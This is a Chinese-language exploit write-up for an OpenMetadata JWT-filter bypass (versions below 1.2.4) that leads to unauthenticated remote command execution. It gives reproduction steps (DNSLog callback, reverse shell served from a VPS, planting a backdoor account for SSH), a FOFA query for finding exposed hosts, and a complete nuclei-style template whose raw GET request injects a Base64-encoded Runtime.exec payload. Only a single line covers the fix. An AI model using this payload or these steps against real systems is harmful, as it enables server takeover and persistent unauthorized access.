OpenMetadata是一个统一的发现、可观察和治理平台,由中央元数据存储库、深入的沿袭和无缝团队协作提供支持。OpenMetadata存在安全漏洞,该漏洞源于当请求的路径包含任何排除的端点时,过滤器将返回而不验证 JWT。导致未经身份验证的远程攻击者可以利用该漏洞远程命令执行,获取服务器权限。
影响环境:version<1.2.4
一、漏洞复现
步骤一:使用以下搜索语法获取测试资产并确定测试目标。
步骤二:在Yakit中生成一个DNSLog域名后并将命令进行Base64的编码操作。
ping ofsoppehbs.dgrh3.cn
cGluZyBvZnNvcHBlaGJzLmRncmgzLmNu
步骤三:构造以下命令执行的数据包进行访问(base64编码内容在.exec的方法中可见)可在DNSLog中查看到解析记录...说明命令执行成功。
步骤四:尝试反弹shell操作....将1.sh保存到VPS并开启HTTP服务器对外下载后将一下的攻击指令进行Base64编码后即可执行。
步骤五:在反弹回来的Shell中创建后门账号并进行SSH远程终端链接
二、批量测试
id: OpenMetadata-condition-RCE
info:
name: OpenMetadata condition接口处存在命令执行漏洞,远程代码执行漏洞,恶意攻击者可能利用此漏洞执行恶意命令,获取服务器敏感信息,最终可能导致服务器失陷。
author: WLF
severity: high
metadata:
fofa-query: icon_hash="733091897"
variables:
filename: "{{to_lower(rand_base(10))}}"
boundary: "{{to_lower(rand_base(20))}}"
http:
- raw:
- |
GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22{{base64("ping {{interactsh-url}}")}}%22))) HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Connection: close
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, "dns")
condition: and
三、漏洞修复
- 官方已发布最新补丁,请升级至最新版本:https://github.com/open-metadata/OpenMetadata/releases/tag/1.2.4-release